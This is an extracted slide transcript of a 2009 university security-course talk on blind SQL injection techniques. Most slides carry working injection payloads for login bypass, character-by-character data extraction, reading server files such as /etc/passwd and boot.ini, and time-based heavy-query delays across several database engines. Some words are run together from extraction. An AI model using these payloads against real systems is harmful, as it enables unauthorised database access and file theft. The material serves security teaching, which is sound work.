Charla impartida por Chema Alonso, de Informática64, en el curso de Verando de Seguridad Informática de la Universidad de Salamanca 2009

1. (Re) Playingwith (Blind) SQL Injection Chema Alonso Informatica64 Microsoft MVP Enterprise Security

2. SQL Injection attacks A long time ago, in a galaxyfar, faraway… http://www.phrack.org/issues.html?id=8&issue=54

3. Back onthe 90s Select id fromusers_table wherelogin=‘$users’ and passw=‘$password’; User Password ****************

4. Back onthe 90s Select id fromusers_table wherelogin=‘Admin’ and passw=‘’ or ‘1’=‘1’; User Admin Password ‘ or ‘1’=‘1

5. Noteverybody….

6. ODBC Error messages Username: ' having 1=1-- [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Username: ' group by users.id having 1=1-- [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. And so on…

7. Evensecuritycompanies: Kaspersky

8. Agenda Serialized SQL Injection Demo: XML Extractor Arithmetic SQL Injection Divide byZero Sums and subtractions Typeoveflow Demo RemoteFileDownloadingusingBlind SQL Injection SQL Sever MySQL Oracle Demo: RFD Tool Time-BasedBlind SQL Injectionusing heavy queries Demo: MarathonTool

9. Serialized SQL Injection

10. Serialized SQL Injection Goal: ToMergecomplexresultsets in a single showablefield XML serializationfunctionsallowtoconvert a resultsetinto a oneXML string. It´spossibletodownloadbigamount of data with single and simple injections.

11. SQL Server FOR XML: Retrieves data as a single stringrepresentingan XML tree. RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form <row />. BINARY BASE64:The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified. union select '1','2','3',(select * from sysusers for xml raw, binary base64) XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints. Described by DaniKachakil

12. MySQL No default XML support, requires a server sideextension GROUP_CONCAT (v 4.1+)

13. Oracle xmlforest, xmlelement,… No * support

14. Demo: Serialized SQL Injection

15. ArithmeticBlind SQL Injection

16. Blind Attacks Attacker injects code but can´t access directly to the data. However this injection changes the behavior of the web application. Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data. Blind SQL Injection Biind Xpath Injection Blind LDAP Injection

17. Blind SQL Injection Attacks Attacker injects: “True where clauses” “False where clauses“ Ex: Program.php?id=1 and 1=1 Program.php?id=1 and 1=2 Program doesn’t return any visible data from database or data in error messages. The attacker can´t see any data extracted from the database.

18. Blind SQL Injection Attacks Attacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”: Different hashes Different html structure Different patterns (keywords) Different linear ASCII sums “Different behavior” By example: Response Time

19. Blind SQL Injection Attacks If any difference exists, then: Attacker can extract all information from database How? Using “booleanization” MySQL: Program.php?id=1 and 100>(ASCII(Substring(user(),1,1))) “True-Answer Page” or “False-Answer Page”? MSSQL: Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers) Oracle: Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1))) from all_users where rownum<=1)

20. Blind SQL Injection

21. ArithmeticBlind SQL Injection Thequeryforcestheparametertobenumeric SELECT field FROM table WHERE id=abs(param) Ex: GetParam(ID) Select ….. Where att1=abs(ID) Select ….. Where att2=k1-ID Print response Booleanlogicneedstobecreatedwithmathoperations

22. ArithmeticBlind SQL Injection Divide byzero (David Litchfield) Id=A+(1/(ASCII(B)-C)) A-> Paramvalueoriginallyused in thequery. B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, the DB willgenerate a divide byzeroexception.

23. ArithmeticBlind SQL Injection Sums and subtractions Id=A+ASCII(B)-C A-> Paramvalueoriginallyused in thequery. B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, thenthe response page of id=A+ASCII(B)-C willbethesame as id=A

24. ArithmeticBlind SQL Injection Valuetypeoverflow Id=A+((C/ASCII(B))*(K)) A-> Paramvalueoriginallyused in thequery. B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1) C-> Counter [0..255] K-> Valuethatoverflowsthetypedefinedfor A (e.g.if A isinteger, then K=2^32) When C/ASCII(B)==1, K*1 overflowsthe data type

25. Demo: Divide byzero Sums and subtractions Integeroverflow

26. RemoteFileDownloadingusingBlind SQL Injectiontechniques

27. Accessing Files Two ways: Load the file in a temp table and i>(select top 1 ASCII(Substring(column)(file,pos,1)) from temp_table ?? Load the file in the query With every query the file is loaded in memory I am very sorry, engine  and i>ASCII(Substring(load_file(file,pos,1))??

28. SQL Server 2K - External Data Sources Only for known filetypes: Access trough Drivers: Txt, csv, xls, mdb, log And 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:','select top 1 * from c:irarget.txt’),1,1)) Privileges HKEY_LOCAL_MACHINEOFTWAREicrosoftSSQLServerrovidersisallowAdhocAccess=0 By default thiskeydoesn´texist so onlyuserswithServer Admin Role can use thesefunctions. NTFS permissions

29. SQL Server 2K – Bulk option Access to any file ; Create Table TempTable as (row varchar(8000)) -- ; Bulk Insert TempTable From 'c:ile.ext' With (FIELDTERMINATOR = '', ROWTERMINATOR = '‘) -- ; alter table TempTable add num int IDENTITY(1,1) NOT NULL – and (select COUNT(row) from TempTable) and (select top 1 len(row) from TempTable where num = rownum) and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where num = 1) ; Drop Table TempTable-- Privileges needed Server Role: Bulkadmin Database Role: db_owner o db_ddladmin NTFS permissions

30. SQL Server 2k5 – 2k8 OPENDATASOURCE and OPENROWSET supported Bulk options improved AND 256 > ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK 'c:indowsepairam', SINGLE_BLOB) As Data), 1, 1))— Permisions Bulkadmin Server Role External Data Sources enabled Sp_configure Surface configuration Tool for features

31. MySQL LoadFile SELECT LOAD_FILE(‘/etc/passwd’) SQLbfTools: MySQLgetcommand (illo and dab) http://www.reversing.org/node/view/11 Load Data infile ; Create table C8DFC643 (datosvarchar(4000)) ; Load data infile 'c:boot.ini' into table C8DFC643 ; alter table C8DFC643 add column num integer auto_increment unique key and (select count(num) from C8DFC643) and (select length(datos) from C8DFC643 where num = 1) and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1) ; Drop table C8DFC643

32. Oracle – Plain Text files External Tables ; execute immediate 'Create Directory A4A9308C As ''c:amp;apos;' '; end; -- ; execute immediate 'Create table A737D141 ( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (''boot.ini''))'; end;-- Only Plain Text files

33. Oracle – DBMS_LOB ; execute immediate ‘ DECLARE l_bfile BFILE; l_blob BLOB; BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob; l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp''); DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly); DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile)); DBMS_LOB.fileclose(l_bfile); COMMIT; EXCEPTION WHEN OTHERS THEN ROLLBACK; END;‘ ; end; --

34. Demo RFD

35. Time-basedBlind SQL Injectionusing heavy queries

36. Time-Based Blind SQL Injection In scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays can be used. Injection forces a delay in the response page when the condition injected is True. - Delay functions: SQL Server: waitfor Oracle: dbms_lock.sleep MySQL: sleep or Benchmark Function Postgres: pg_sleep Ex: ; if (exists(select * fromusers)) waitfordelay '0:0:5’

37. Exploit for Solar Empire Web Game

38. Time-Based Blind SQL Injection What about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…? Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks?

39. Yes, we can!

40. “Where-Clause” execution order Select “whatever “ From whatever Where condition1 and condition2 - Condition1 lasts 10 seconds - Condition2 lasts 100 seconds Which condition should be executed first?

41. The heavy condition first

42. The light condition first

43. Time-Based Blind SQL Injectionusing Heavy Queries Attacker can perform an exploitation delaying the “True-answer page” using a heavy query. It depends on how the database engine evaluates the where clauses in the query. There are two types of database engines: Databases without optimization process Databases with optimization process

44. Time-Based Blind SQL Injectionusing Heavy Queries Attacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections. The Cross-join injection must be heavier than the other condition. Attacker only have to know or to guess the name of a table with select permission in the database. Example in MSSQL: Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

45. “Default” tablestoconstruct a heavy query Microsoft SQL Server sysusers Oracle all_users MySQL (versión 5) information_schema.columns Microsoft Access MSysAccessObjects (97 & 2000 versions) MSysAccessStorage (2003 & 2007) 45

46. “Default” tablestoconstruct a heavy query …or whatever you can guess Clients Customers News Logins Users Providers ….Use your imagination…

47. Ex 1: MS SQL Server Query takes 14 seconds -> True-Answer

48. Ex 1: MS SQL Server Query takes 1 second -> False-Answer

49. Ex 2: Oracle Query Takes 22 seconds –> True-Answer

50. Ex 2: Oracle Query Takes 1 second –> False-Answer

51. Ex 3: Access 2007 Query Takes 39 seconds –> True-Answer

52. Ex 3: Access 2007 Query Takes 1 second –> False-Answer

53. Marathon Tool Automates Time-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases. Schema Extraction from known databases Extract data using heavy queries not matter in which database engine (without schema) Developed in .NET Source code available http://www.codeplex.com/marathontool

54. Demo: Marathon Tool

55. Prevention:Don´tforget Bobby Tables!SANITIZE YOUR QUERIES!